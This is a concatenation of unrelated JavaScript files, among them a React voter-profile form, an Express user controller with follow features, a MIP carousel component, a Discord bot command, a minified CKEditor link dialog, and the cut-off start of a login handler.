currentRef = userNameRef;
break;
case "city":
currentRef = cityRef;
break;
case "county":
currentRef = countyRef;
break;
case "state":
currentRef = stateRef;
break;
case "country":
currentRef = countryRef;
break;
}
const newInfo = currentRef.current.childNodes[1].firstChild.value;
state.userData[info] = newInfo;
// console.log("User Data", state.userData);
}
// event handler for user infomation name, city, state, county, country
const handleUpdate = (event) => {
if (event) {
event.preventDefault();
}
const body = {
username: state.user,
userData: state.userData,
issuesData: state.issuesData,
candidateData: state.candidateData
}
axios.post("/api/users/update", body)
.then(response => { console.log(response) });
}
// ^ post update user profile
// event handler to add candidacy
const addCandidate = (event) => {
if (event) {
event.preventDefault();
}
state.candidateData.candidate = true;
console.log("User is now a Candidate", state.candidateData.candidate)
handleUpdate();
props.reRender();
}
// event handler to delete user and unset user data
const handleDeleteUser = (event) => {
if (event) {
event.preventDefault();
}
// dispatch({ type: LOADING });
const body = { username: state.user };
console.log("User to be deleted", body);
axios.post('/api/users/delete', { username: state.user }).then((response) => console.log(response));
dispatch({ type: UNSET_USER });
history.replace('/login');
}
// return form with profile information in texfields
return (
<form className={classes.root} noValidate autoComplete="off">
<h3>Update Your Voter Info</h3>
< div id="form-block">
<TextField className="outlined-basic" onChange={(event) => { updateInfo(event) }} ref={userNameRef} placeholder={props.data.name} id="name" label="Name" variant="outlined" />
<br />
<TextField className="outlined-basic" onChange={(event) => { updateInfo(event) }} ref={cityRef} placeholder={props.data.city} id="city" label="City" variant="outlined" />
<br />
<TextField className="outlined-basic" onChange={(event) => { updateInfo(event) }} ref={countyRef} placeholder={props.data.county} id="county" label="County" variant="outlined" />
<br />
<TextField className="outlined-basic" onChange={(event) => { updateInfo(event) }} ref={stateRef} placeholder={props.data.state} id="state" label="State" variant="outlined" />
<br />
<TextField className="outlined-basic" onChange={(event) => { updateInfo(event) }} ref={countryRef} placeholder={props.data.country} id="country" label="Country" variant="outlined" />
<br />
</div>
{/* buttons to update voter info, update candidate info, and button to delete user and unset data */}
<button className="update-info-button" onClick={(event) => handleUpdate(event)}>Update Voter Info</button>
<br />
{!state.candidateData.candidate ? (<button onClick={(event) => addCandidate(event)} className="update-info-button">Add Candidacy</button>) : (<></>)}
{!state.candidateData.candidate ? (<br />) : <></>}
<button onClick={(event) => handleDeleteUser(event)} className="update-info-button">Delete Account</button>
</form>
);
}
|
import User from '../models/user.model'
import _ from 'lodash'
import errorHandler from './../helpers/dbErrorHandler'
import formidable from 'formidable'
import fs from 'fs'
import profileImage from './../../client/assets/images/profile-pic.png'
const create = async (req, res) => {
const user = new User(req.body)
try {
await user.save()
return res.status(200).json({
message: "Successfully signed up!"
})
} catch (err) {
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
/**
* Load user and append to req.
*/
const userByID = async (req, res, next, id) => {
try {
let user = await User.findById(id).populate('following', '_id name')
.populate('followers', '_id name')
.exec()
if (!user)
return res.status('400').json({
error: "User not found"
})
req.profile = user
next()
} catch (err) {
return res.status('400').json({
error: "Could not retrieve user"
})
}
}
const read = (req, res) => {
req.profile.hashed_password = undefined
req.profile.salt = undefined
return res.json(req.profile)
}
const list = async (req, res) => {
try {
let users = await User.find().select('name email updated created')
res.json(users)
} catch (err) {
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
const update = (req, res) => {
let form = new formidable.IncomingForm()
form.keepExtensions = true
form.parse(req, (err, fields, files) => {
if (err) {
return res.status(400).json({
error: "Photo could not be uploaded"
})
}
let user = req.profile
user = _.extend(user, fields)
user.updated = Date.now()
if(files.photo){
user.photo.data = fs.readFileSync(files.photo.path)
user.photo.contentType = files.photo.type
}
user.save((err, result) => {
if (err) {
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
user.hashed_password = undefined
user.salt = undefined
res.json(user)
})
})
}
const remove = async (req, res) => {
try {
let user = req.profile
let deletedUser = await user.remove()
deletedUser.hashed_password = undefined
deletedUser.salt = undefined
res.json(deletedUser)
} catch (err) {
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
const photo = (req, res, next) => {
if(req.profile.photo.data){
res.set("Content-Type", req.profile.photo.contentType)
return res.send(req.profile.photo.data)
}
next()
}
const defaultPhoto = (req, res) => {
return res.sendFile(process.cwd()+profileImage)
}
const addFollowing = async (req, res, next) => {
try{
await User.findByIdAndUpdate(req.body.userId, {$push: {following: req.body.followId}})
next()
}catch(err){
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
const addFollower = async (req, res) => {
try{
let result = await User.findByIdAndUpdate(req.body.followId, {$push: {followers: req.body.userId}}, {new: true})
.populate('following', '_id name')
.populate('followers', '_id name')
.exec()
result.hashed_password = undefined
result.salt = undefined
res.json(result)
}catch(err) {
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
const removeFollowing = async (req, res, next) => {
try{
await User.findByIdAndUpdate(req.body.userId, {$pull: {following: req.body.unfollowId}})
next()
}catch(err) {
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
const removeFollower = async (req, res) => {
try{
let result = await User.findByIdAndUpdate(req.body.unfollowId, {$pull: {followers: req.body.userId}}, {new: true})
.populate('following', '_id name')
.populate('followers', '_id name')
.exec()
result.hashed_password = undefined
result.salt = undefined
res.json(result)
}catch(err){
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
const findPeople = async (req, res) => {
let following = req.profile.following
following.push(req.profile._id)
try {
let users = await User.find({ _id: { $nin : following } }).select('name')
res.json(users)
}catch(err){
return res.status(400).json({
error: errorHandler.getErrorMessage(err)
})
}
}
export default {
create,
userByID,
read,
list,
remove,
update,
photo,
defaultPhoto,
addFollowing,
addFollower,
removeFollowing,
removeFollower,
findPeople
}
|
/**
* @file mip-taoge-scaydk-adviser 组件
* @author Taoge <liangtao.gz@foamail.com>
*/
define(function (require) {
var $ = require('zepto');
var customElem = require('customElement').create();
var options;
var o;
var t;
customElem.prototype.build = function () {
var element = this.element;
options = {
'id': element.getAttribute('element') || 'carousel',
'delay': element.getAttribute('delay') || 3000,
'switch': element.getAttribute('switch') || 'on'
};
o = '#' + options.id;
// 一共多少个顾问
var l = $(o + ' ul > li').length;
var x = '';
for (var i = 1; i <= l; i++) {
if (i === 1) {
x += '<li class="dot active">1</li>';
}
else {
x += '<li class="dot">1</li>';
}
}
// 初始化小圆点
$(o + ' div.carousel > ol').empty().html(x);
// 屏幕宽度
var w = $(o).width();
// ul宽度
var uw = w * l;
$(o + ' ul').css({'width': uw});
// li宽度
var lw = w * 0.76;
$(o + ' ul > li').css({'width': lw, 'margin': '0 ' + (w * 0.03) + 'px'});
// 窗口大小改变时
$(window).resize(function () {
// ul宽度
$(o + ' ul').css({'width': $(o).width() * $(o + ' ul > li').length});
// li宽度
$(o + ' ul > li').css({'width': $(o).width() * 0.76, 'margin': '0 ' + ($(o).width() * 0.03) + 'px'});
});
// 小圆点点击事件
$(o + ' div.carousel > ol > li').click(function () {
// 停止自动切换
if (options.switch === 'on') {
window.clearInterval(t);
}
var i = $(this).index();
checkMipImg(i);
var l = $(o + ' div.carousel > ol > li').length;
// 点亮小圆点
$(this).addClass('active').siblings().removeClass('active');
// 顾问个数
var l2 = $(o + ' ul > li').length;
var l3 = (i + 1);
// ul切换后的左边距
var nul;
for (i; i < l2 && i < l3; i++) {
if (i > 0) {
nul = -(w * i - ((w * 0.09) * ((i * 2) + 1)));
}
else {
nul = '9%';
}
$(o + ' ul').css({'left': nul});
}
// 自动切换
if (options.switch === 'on') {
t = window.setInterval(function () {
reincarnationloan(1);
}, Number(options.delay));
}
});
// 上一个与下一个点击事件
$(o + ' div.carousel_arrow > div').click(function () {
// 停止自动切换
if (options.switch === 'on') {
window.clearInterval(t);
}
var c = $(this).attr('class');
if (c === 'arrow_r') {
reincarnationloan(1);
}
else if (c === 'arrow_l') {
reincarnationloan(-1);
}
// 自动切换
if (options.switch === 'on') {
t = window.setInterval(function () {
reincarnationloan(1);
}, Number(options.delay));
}
});
// 自动切换
if (options.switch === 'on') {
t = window.setInterval(function () {
reincarnationloan(1);
}, Number(options.delay));
}
};
function reincarnationloan(c) {
// 当前小圆点索引
var i = $(o + ' div.carousel ol li.active').index();
// 下一个索引
i = i + c;
// 一共多少个圆点
var l = $(o + ' div.carousel ol li').length;
// 达到第一个或者最后一个后归零
if (i === l) {
i = 0;
}
else if (i === -1) {
i = l - 1;
}
checkMipImg(i);
// 点亮下一个小圆点
$(o + ' div.carousel > ol > li').eq(i).addClass('active').siblings().removeClass('active');
// 顾问个数
var l2 = $(o + ' ul >li').length;
var l3 = i + 1;
// 屏幕宽度
var w = $(o).width();
// ul左边距
var ul = w * 0.09;
// ul切换后的左边距
var nul;
for (var i2 = l3 - 1; i2 < l2 && i2 < l3; i2++) {
if (i2 > 0) {
nul = -(w * i2 - (ul * ((i2 * 2) + 1)));
}
else {
nul = '9%';
}
$(o + ' ul').css({'left': nul});
}
}
function checkMipImg(i) {
var l = $(o + ' ul > li:nth-child(' + (i + 1) + ') > div:nth-child(1) > mip-img > img').length;
if (l === 0) {
var img = $(o + ' ul > li:nth-child(' + (i + 1) + ') > div:nth-child(1) > mip-img');
var html = '<img class="mip-fill-content mip-replaced-content" src="' + img.attr('src') + '">';
img.append(html);
}
}
// 创建元素回调
customElem.prototype.createdCallback = function () {
// console.log('created');
};
// 向文档中插入节点回调
customElem.prototype.attachedCallback = function () {
// console.log('attached');
};
// 从文档中移出节点回调
customElem.prototype.detachedCallback = function () {
// console.log('detached');
};
// 第一次进入可视区回调,只会执行一次，做懒加载，利于网页速度
customElem.prototype.firstInviewCallback = function () {
// console.log('first in viewport');
};
// 进入或离开可视区回调，每次状态变化都会执行
customElem.prototype.viewportCallback = function (isInView) {
// true 进入可视区;false 离开可视区
// console.log(isInView);
};
// 控制viewportCallback、firstInviewCallback是否提前执行
// 轮播图片等可使用此方法提前渲染
customElem.prototype.prerenderAllowed = function () {
// 判断条件，可自定义。返回值为true时,viewportCallback、firstInviewCallback会在元素build后执行
return !!this.isCarouselImg;
};
return customElem;
});
|
/**
* Have butlerbot provide a link to the landing page.
* @module documentation
* @return {string} - string (as a message to discord text channel)
*/
module.exports = {
name: 'documentation',
description: 'Link to website for butlerbot.',
aliases: ['doc', 'credentials', 'resume'],
cooldown: 5,
/**
* @method execute
* @param {string} message - command, used to determine which channel to return results
* @return {string} message with link to landing page.
*/
execute(message) {
message.channel.send(
`Of course, master ${message.author}. \nMore information about my resume can be found here:\nhttps://petewein.github.io/butlerbot/\n` +
`If you are interested in the documentation, please go to:\n https://petewein.github.io/butlerbot/documentation/index.html`
);
},
};
|
$('.modal').modal({
dismissible: true,
opacity: .8,
inDuration: 400,
outDuration: 200,
startingTop: '4%',
endingTop: '10%'
}
);
document.getElementById('to-top').onclick = function () {
scrollTo(document.body, 0, 100);
}
function scrollTo(element, to, duration) {
if (duration < 0) return;
var difference = to - element.scrollTop;
var perTick = difference / duration * 2;
setTimeout(function() {
element.scrollTop = element.scrollTop + perTick;
scrollTo(element, to, duration - 2);
}, 10);
}
|
function Device(name, power, important) {
this.name = name;
this.power = power;
this.important = important;
}
Device.prototype.switchOff = function() {
this.isTurnedOn = false;
}
Device.prototype.switchOn = function() {
this.isTurnedOn = true;
}
const fridge = new Device('Холодильник', 2000, 1);
const microwaveOven = new Device('Микроволновка', 1500, 3);
const bedroomLamp1 = new Device('Лампа в комнате #1', 24, 2);
const bedroomLamp2 = new Device('Лампа в комнате #2', 45, 2);
const kitchenLamp = new Device('Лампа на кухне', 75, 2);
const tv = new Device('Телевизор', 500, 9);
const iron = new Device('Утюг', 1500, 5);
const laptop = new Device('Ноутбук', 65, 4);
fridge.switchOn();
microwaveOven.switchOff();
bedroomLamp1.switchOn();
bedroomLamp2.switchOff();
kitchenLamp.switchOn();
tv.switchOff();
iron.switchOff();
laptop.switchOn();
const flat = {
kitchen: [fridge, microwaveOven, kitchenLamp],
bedroom: [bedroomLamp1, bedroomLamp2, tv, iron, laptop],
totalPower() {
let sum = 0;
for (let room in this) {
if (Array.isArray(this[room])) {
sum = this[room].reduce((a, b) => {return b.isTurnedOn ? a + b.power : a}, sum);
}
}
return sum;
}
};
const findDevice = (str) => {
const re = new RegExp(str, 'i');
for (let room in flat) {
if (Array.isArray(flat[room])) {
for (let device of flat[room]) {
if (device.name.match(re)) {
console.log(`${device.name} находится в ${room}`);
}
}
}
}
};
|
/*
Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.dialog.add('link',function(a){var b=CKEDITOR.plugins.link,c=function(){var F=this.getDialog(),G=F.getContentElement('target','popupFeatures'),H=F.getContentElement('target','linkTargetName'),I=this.getValue();if(!G||!H)return;G=G.getElement();G.hide();H.setValue('');switch(I){case 'frame':H.setLabel(a.lang.link.targetFrameName);H.getElement().show();break;case 'popup':G.show();H.setLabel(a.lang.link.targetPopupName);H.getElement().show();break;default:H.setValue(I);H.getElement().hide();break;}},d=function(){var F=this.getDialog(),G=['urlOptions','anchorOptions','emailOptions'],H=this.getValue(),I=F.definition.getContents('upload'),J=I&&I.hidden;if(H=='url'){if(a.config.linkShowTargetTab)F.showPage('target');if(!J)F.showPage('upload');}else{F.hidePage('target');if(!J)F.hidePage('upload');}for(var K=0;K<G.length;K++){var L=F.getContentElement('info',G[K]);if(!L)continue;L=L.getElement().getParent().getParent();if(G[K]==H+'Options')L.show();else L.hide();}F.layout();},e=/^javascript:/,f=/^mailto:([^?]+)(?:\?(.+))?$/,g=/subject=([^;?:@&=$,\/]*)/,h=/body=([^;?:@&=$,\/]*)/,i=/^#(.*)$/,j=/^((?:http|https|ftp|news):\/\/)?(.*)$/,k=/^(_(?:self|top|parent|blank))$/,l=/^javascript:void\(location\.href='mailto:'\+String\.fromCharCode\(([^)]+)\)(?:\+'(.*)')?\)$/,m=/^javascript:([^(]+)\(([^)]+)\)$/,n=/\s*window.open\(\s*this\.href\s*,\s*(?:'([^']*)'|null)\s*,\s*'([^']*)'\s*\)\s*;\s*return\s*false;*\s*/,o=/(?:^|,)([^=]+)=(\d+|yes|no)/gi,p=function(F,G){var H=G&&(G.data('cke-saved-href')||G.getAttribute('href'))||'',I,J,K,L,M={};if(I=H.match(e))if(y=='encode')H=H.replace(l,function(ae,af,ag){return 'mailto:'+String.fromCharCode.apply(String,af.split(','))+(ag&&w(ag));});else if(y)H.replace(m,function(ae,af,ag){if(af==z.name){M.type='email';var ah=M.email={},ai=/[^,\s]+/g,aj=/(^')|('$)/g,ak=ag.match(ai),al=ak.length,am,an;for(var ao=0;ao<al;ao++){an=decodeURIComponent(w(ak[ao].replace(aj,'')));am=z.params[ao].toLowerCase();ah[am]=an;}ah.address=[ah.name,ah.domain].join('@');}});if(!M.type)if(K=H.match(i)){M.type='anchor';M.anchor={};M.anchor.name=M.anchor.id=K[1];}else if(J=H.match(f)){var N=H.match(g),O=H.match(h);M.type='email';var P=M.email={};P.address=J[1];N&&(P.subject=decodeURIComponent(N[1]));O&&(P.body=decodeURIComponent(O[1]));}else if(H&&(L=H.match(j))){M.type='url';M.url={};M.url.protocol=L[1];M.url.url=L[2];}else M.type='url';if(G){var Q=G.getAttribute('target');M.target={};M.adv={};if(!Q){var R=G.data('cke-pa-onclick')||G.getAttribute('onclick'),S=R&&R.match(n);
if(S){M.target.type='popup';M.target.name=S[1];var T;while(T=o.exec(S[2])){if((T[2]=='yes'||T[2]=='1')&&!(T[1] in {height:1,width:1,top:1,left:1}))M.target[T[1]]=true;else if(isFinite(T[2]))M.target[T[1]]=T[2];}}}else{var U=Q.match(k);if(U)M.target.type=M.target.name=Q;else{M.target.type='frame';M.target.name=Q;}}var V=this,W=function(ae,af){var ag=G.getAttribute(af);if(ag!==null)M.adv[ae]=ag||'';};W('advId','id');W('advLangDir','dir');W('advAccessKey','accessKey');M.adv.advName=G.data('cke-saved-name')||G.getAttribute('name')||'';W('advLangCode','lang');W('advTabIndex','tabindex');W('advTitle','title');W('advContentType','type');CKEDITOR.plugins.link.synAnchorSelector?M.adv.advCSSClasses=C(G):W('advCSSClasses','class');W('advCharset','charset');W('advStyles','style');W('advRel','rel');}var X=M.anchors=[],Y;if(CKEDITOR.plugins.link.emptyAnchorFix){var Z=F.document.getElementsByTag('a');for(i=0,count=Z.count();i<count;i++){Y=Z.getItem(i);if(Y.data('cke-saved-name')||Y.hasAttribute('name'))X.push({name:Y.data('cke-saved-name')||Y.getAttribute('name'),id:Y.getAttribute('id')});}}else{var aa=new CKEDITOR.dom.nodeList(F.document.$.anchors);for(var ab=0,ac=aa.count();ab<ac;ab++){Y=aa.getItem(ab);X[ab]={name:Y.getAttribute('name'),id:Y.getAttribute('id')};}}if(CKEDITOR.plugins.link.fakeAnchor){var ad=F.document.getElementsByTag('img');for(ab=0,ac=ad.count();ab<ac;ab++){if(Y=CKEDITOR.plugins.link.tryRestoreFakeAnchor(F,ad.getItem(ab)))X.push({name:Y.getAttribute('name'),id:Y.getAttribute('id')});}}this._.selectedElement=G;return M;},q=function(F,G){if(G[F])this.setValue(G[F][this.id]||'');},r=function(F){return q.call(this,'target',F);},s=function(F){return q.call(this,'adv',F);},t=function(F,G){if(!G[F])G[F]={};G[F][this.id]=this.getValue()||'';},u=function(F){return t.call(this,'target',F);},v=function(F){return t.call(this,'adv',F);};function w(F){return F.replace(/\\'/g,"'");};function x(F){return F.replace(/'/g,'\\$&');};var y=a.config.emailProtection||'';if(y&&y!='encode'){var z={};y.replace(/^([^(]+)\(([^)]+)\)$/,function(F,G,H){z.name=G;z.params=[];H.replace(/[^,\s]+/g,function(I){z.params.push(I);});});}function A(F){var G,H=z.name,I=z.params,J,K;G=[H,'('];for(var L=0;L<I.length;L++){J=I[L].toLowerCase();K=F[J];L>0&&G.push(',');G.push("'",K?x(encodeURIComponent(F[J])):'',"'");}G.push(')');return G.join('');};function B(F){var G,H=F.length,I=[];for(var J=0;J<H;J++){G=F.charCodeAt(J);I.push(G);}return 'String.fromCharCode('+I.join(',')+')';};function C(F){var G=F.getAttribute('class');
return G?G.replace(/\s*(?:cke_anchor_empty|cke_anchor)(?:\s*$)?/g,''):'';};var D=a.lang.common,E=a.lang.link;return{title:E.title,minWidth:350,minHeight:230,contents:[{id:'info',label:E.info,title:E.info,elements:[{id:'linkType',type:'select',label:E.type,'default':'url',items:[[E.toUrl,'url'],[E.toAnchor,'anchor'],[E.toEmail,'email']],onChange:d,setup:function(F){if(F.type)this.setValue(F.type);},commit:function(F){F.type=this.getValue();}},{type:'vbox',id:'urlOptions',children:[{type:'hbox',widths:['25%','75%'],children:[{id:'protocol',type:'select',label:D.protocol,'default':'http://',items:[['http://','http://'],['https://','https://'],['ftp://','ftp://'],['news://','news://'],[E.other,'']],setup:function(F){if(F.url)this.setValue(F.url.protocol||'');},commit:function(F){if(!F.url)F.url={};F.url.protocol=this.getValue();}},{type:'text',id:'url',label:D.url,required:true,onLoad:function(){this.allowOnChange=true;},onKeyUp:function(){var K=this;K.allowOnChange=false;var F=K.getDialog().getContentElement('info','protocol'),G=K.getValue(),H=/^(http|https|ftp|news):\/\/(?=.)/i,I=/^((javascript:)|[#\/\.\?])/i,J=H.exec(G);if(J){K.setValue(G.substr(J[0].length));F.setValue(J[0].toLowerCase());}else if(I.test(G))F.setValue('');K.allowOnChange=true;},onChange:function(){if(this.allowOnChange)this.onKeyUp();},validate:function(){var F=this.getDialog();if(F.getContentElement('info','linkType')&&F.getValueOf('info','linkType')!='url')return true;if(this.getDialog().fakeObj)return true;var G=CKEDITOR.dialog.validate.notEmpty(E.noUrl);return G.apply(this);},setup:function(F){this.allowOnChange=false;if(F.url)this.setValue(F.url.url);this.allowOnChange=true;},commit:function(F){this.onChange();if(!F.url)F.url={};F.url.url=this.getValue();this.allowOnChange=false;}}],setup:function(F){if(!this.getDialog().getContentElement('info','linkType'))this.getElement().show();}},{type:'button',id:'browse',hidden:'true',filebrowser:'info:url',label:D.browseServer}]},{type:'vbox',id:'anchorOptions',width:260,align:'center',padding:0,children:[{type:'fieldset',id:'selectAnchorText',label:E.selectAnchor,setup:function(F){if(F.anchors.length>0)this.getElement().show();else this.getElement().hide();},children:[{type:'hbox',id:'selectAnchor',children:[{type:'select',id:'anchorName','default':'',label:E.anchorName,style:'width: 100%;',items:[['']],setup:function(F){var I=this;I.clear();I.add('');for(var G=0;G<F.anchors.length;G++){if(F.anchors[G].name)I.add(F.anchors[G].name);}if(F.anchor)I.setValue(F.anchor.name);
var H=I.getDialog().getContentElement('info','linkType');if(H&&H.getValue()=='email')I.focus();},commit:function(F){if(!F.anchor)F.anchor={};F.anchor.name=this.getValue();}},{type:'select',id:'anchorId','default':'',label:E.anchorId,style:'width: 100%;',items:[['']],setup:function(F){var H=this;H.clear();H.add('');for(var G=0;G<F.anchors.length;G++){if(F.anchors[G].id)H.add(F.anchors[G].id);}if(F.anchor)H.setValue(F.anchor.id);},commit:function(F){if(!F.anchor)F.anchor={};F.anchor.id=this.getValue();}}],setup:function(F){if(F.anchors.length>0)this.getElement().show();else this.getElement().hide();}}]},{type:'html',id:'noAnchors',style:'text-align: center;',html:'<div role="label" tabIndex="-1">'+CKEDITOR.tools.htmlEncode(E.noAnchors)+'</div>',focus:true,setup:function(F){if(F.anchors.length<1)this.getElement().show();else this.getElement().hide();}}],setup:function(F){if(!this.getDialog().getContentElement('info','linkType'))this.getElement().hide();}},{type:'vbox',id:'emailOptions',padding:1,children:[{type:'text',id:'emailAddress',label:E.emailAddress,required:true,validate:function(){var F=this.getDialog();if(!F.getContentElement('info','linkType')||F.getValueOf('info','linkType')!='email')return true;var G=CKEDITOR.dialog.validate.notEmpty(E.noEmail);return G.apply(this);},setup:function(F){if(F.email)this.setValue(F.email.address);var G=this.getDialog().getContentElement('info','linkType');if(G&&G.getValue()=='email')this.select();},commit:function(F){if(!F.email)F.email={};F.email.address=this.getValue();}},{type:'text',id:'emailSubject',label:E.emailSubject,setup:function(F){if(F.email)this.setValue(F.email.subject);},commit:function(F){if(!F.email)F.email={};F.email.subject=this.getValue();}},{type:'textarea',id:'emailBody',label:E.emailBody,rows:3,'default':'',setup:function(F){if(F.email)this.setValue(F.email.body);},commit:function(F){if(!F.email)F.email={};F.email.body=this.getValue();}}],setup:function(F){if(!this.getDialog().getContentElement('info','linkType'))this.getElement().hide();}}]},{id:'target',label:E.target,title:E.target,elements:[{type:'hbox',widths:['50%','50%'],children:[{type:'select',id:'linkTargetType',label:D.target,'default':'notSet',style:'width : 100%;',items:[[D.notSet,'notSet'],[E.targetFrame,'frame'],[E.targetPopup,'popup'],[D.targetNew,'_blank'],[D.targetTop,'_top'],[D.targetSelf,'_self'],[D.targetParent,'_parent']],onChange:c,setup:function(F){if(F.target)this.setValue(F.target.type||'notSet');c.call(this);},commit:function(F){if(!F.target)F.target={};
F.target.type=this.getValue();}},{type:'text',id:'linkTargetName',label:E.targetFrameName,'default':'',setup:function(F){if(F.target)this.setValue(F.target.name);},commit:function(F){if(!F.target)F.target={};F.target.name=this.getValue().replace(/\W/gi,'');}}]},{type:'vbox',width:'100%',align:'center',padding:2,id:'popupFeatures',children:[{type:'fieldset',label:E.popupFeatures,children:[{type:'hbox',children:[{type:'checkbox',id:'resizable',label:E.popupResizable,setup:r,commit:u},{type:'checkbox',id:'status',label:E.popupStatusBar,setup:r,commit:u}]},{type:'hbox',children:[{type:'checkbox',id:'location',label:E.popupLocationBar,setup:r,commit:u},{type:'checkbox',id:'toolbar',label:E.popupToolbar,setup:r,commit:u}]},{type:'hbox',children:[{type:'checkbox',id:'menubar',label:E.popupMenuBar,setup:r,commit:u},{type:'checkbox',id:'fullscreen',label:E.popupFullScreen,setup:r,commit:u}]},{type:'hbox',children:[{type:'checkbox',id:'scrollbars',label:E.popupScrollBars,setup:r,commit:u},{type:'checkbox',id:'dependent',label:E.popupDependent,setup:r,commit:u}]},{type:'hbox',children:[{type:'text',widths:['50%','50%'],labelLayout:'horizontal',label:D.width,id:'width',setup:r,commit:u},{type:'text',labelLayout:'horizontal',widths:['50%','50%'],label:E.popupLeft,id:'left',setup:r,commit:u}]},{type:'hbox',children:[{type:'text',labelLayout:'horizontal',widths:['50%','50%'],label:D.height,id:'height',setup:r,commit:u},{type:'text',labelLayout:'horizontal',label:E.popupTop,widths:['50%','50%'],id:'top',setup:r,commit:u}]}]}]}]},{id:'upload',label:E.upload,title:E.upload,hidden:true,filebrowser:'uploadButton',elements:[{type:'file',id:'upload',label:D.upload,style:'height:40px',size:29},{type:'fileButton',id:'uploadButton',label:D.uploadSubmit,filebrowser:'info:url','for':['upload','upload']}]},{id:'advanced',label:E.advanced,title:E.advanced,elements:[{type:'vbox',padding:1,children:[{type:'hbox',widths:['45%','35%','20%'],children:[{type:'text',id:'advId',label:E.id,setup:s,commit:v},{type:'select',id:'advLangDir',label:E.langDir,'default':'',style:'width:110px',items:[[D.notSet,''],[E.langDirLTR,'ltr'],[E.langDirRTL,'rtl']],setup:s,commit:v},{type:'text',id:'advAccessKey',width:'80px',label:E.acccessKey,maxLength:1,setup:s,commit:v}]},{type:'hbox',widths:['45%','35%','20%'],children:[{type:'text',label:E.name,id:'advName',setup:s,commit:v},{type:'text',label:E.langCode,id:'advLangCode',width:'110px','default':'',setup:s,commit:v},{type:'text',label:E.tabIndex,id:'advTabIndex',width:'80px',maxLength:5,setup:s,commit:v}]}]},{type:'vbox',padding:1,children:[{type:'hbox',widths:['45%','55%'],children:[{type:'text',label:E.advisoryTitle,'default':'',id:'advTitle',setup:s,commit:v},{type:'text',label:E.advisoryContentType,'default':'',id:'advContentType',setup:s,commit:v}]},{type:'hbox',widths:['45%','55%'],children:[{type:'text',label:E.cssClasses,'default':'',id:'advCSSClasses',setup:s,commit:v},{type:'text',label:E.charset,'default':'',id:'advCharset',setup:s,commit:v}]},{type:'hbox',widths:['45%','55%'],children:[{type:'text',label:E.rel,'default':'',id:'advRel',setup:s,commit:v},{type:'text',label:E.styles,'default':'',id:'advStyles',validate:CKEDITOR.dialog.validate.inlineStyle(a.lang.common.invalidInlineStyle),setup:s,commit:v}]}]}]}],onShow:function(){var F=this.getParentEditor(),G=F.getSelection(),H=null;
if((H=b.getSelectedLink(F))&&H.hasAttribute('href'))G.selectElement(H);else H=null;this.setupContent(p.apply(this,[F,H]));},onOk:function(){var F={},G=[],H={},I=this,J=this.getParentEditor();this.commitContent(H);switch(H.type||'url'){case 'url':var K=H.url&&H.url.protocol!=undefined?H.url.protocol:'http://',L=H.url&&CKEDITOR.tools.trim(H.url.url)||'';F['data-cke-saved-href']=L.indexOf('/')===0?L:K+L;break;case 'anchor':var M=H.anchor&&H.anchor.name,N=H.anchor&&H.anchor.id;F['data-cke-saved-href']='#'+(M||N||'');break;case 'email':var O,P=H.email,Q=P.address;switch(y){case '':case 'encode':var R=encodeURIComponent(P.subject||''),S=encodeURIComponent(P.body||''),T=[];R&&T.push('subject='+R);S&&T.push('body='+S);T=T.length?'?'+T.join('&'):'';if(y=='encode'){O=["javascript:void(location.href='mailto:'+",B(Q)];T&&O.push("+'",x(T),"'");O.push(')');}else O=['mailto:',Q,T];break;default:var U=Q.split('@',2);P.name=U[0];P.domain=U[1];O=['javascript:',A(P)];}F['data-cke-saved-href']=O.join('');break;}if(H.target)if(H.target.type=='popup'){var V=["window.open(this.href, '",H.target.name||'',"', '"],W=['resizable','status','location','toolbar','menubar','fullscreen','scrollbars','dependent'],X=W.length,Y=function(ai){if(H.target[ai])W.push(ai+'='+H.target[ai]);};for(var Z=0;Z<X;Z++)W[Z]=W[Z]+(H.target[W[Z]]?'=yes':'=no');Y('width');Y('left');Y('height');Y('top');V.push(W.join(','),"'); return false;");F['data-cke-pa-onclick']=V.join('');G.push('target');}else{if(H.target.type!='notSet'&&H.target.name)F.target=H.target.name;else G.push('target');G.push('data-cke-pa-onclick','onclick');}if(H.adv){var aa=function(ai,aj){var ak=H.adv[ai];if(ak)F[aj]=ak;else G.push(aj);};aa('advId','id');aa('advLangDir','dir');aa('advAccessKey','accessKey');if(H.adv.advName)F.name=F['data-cke-saved-name']=H.adv.advName;else G=G.concat(['data-cke-saved-name','name']);aa('advLangCode','lang');aa('advTabIndex','tabindex');aa('advTitle','title');aa('advContentType','type');aa('advCSSClasses','class');aa('advCharset','charset');aa('advStyles','style');aa('advRel','rel');}F.href=F['data-cke-saved-href'];if(!this._.selectedElement){var ab=J.getSelection(),ac=ab.getRanges(true);if(ac.length==1&&ac[0].collapsed){var ad=new CKEDITOR.dom.text(H.type=='email'?H.email.address:F['data-cke-saved-href'],J.document);ac[0].insertNode(ad);ac[0].selectNodeContents(ad);ab.selectRanges(ac);}var ae=new CKEDITOR.style({element:'a',attributes:F});ae.type=CKEDITOR.STYLE_INLINE;ae.apply(J.document);}else{var af=this._.selectedElement,ag=af.data('cke-saved-href'),ah=af.getHtml();
af.setAttributes(F);af.removeAttributes(G);if(H.adv&&H.adv.advName&&CKEDITOR.plugins.link.synAnchorSelector)af.addClass(af.getChildCount()?'cke_anchor':'cke_anchor_empty');if(ag==ah||H.type=='email'&&ah.indexOf('@')!=-1)af.setHtml(H.type=='email'?H.email.address:F['data-cke-saved-href']);delete this._.selectedElement;}},onLoad:function(){if(!a.config.linkShowAdvancedTab)this.hidePage('advanced');if(!a.config.linkShowTargetTab)this.hidePage('target');},onFocus:function(){var F=this.getContentElement('info','linkType'),G;if(F&&F.getValue()=='url'){G=this.getContentElement('info','url');G.select();}}};});
|
"use strict";
var loginForm = document.querySelector('#login-form');
var email, password, type; //Login function
loginForm.addEventListener('submit', function (e) {
e.preventDefault(); // get user info
email = loginForm['login-email'].value;
password = loginForm['login-password'].value;
type = loginForm['UserType'].value; // log the user in
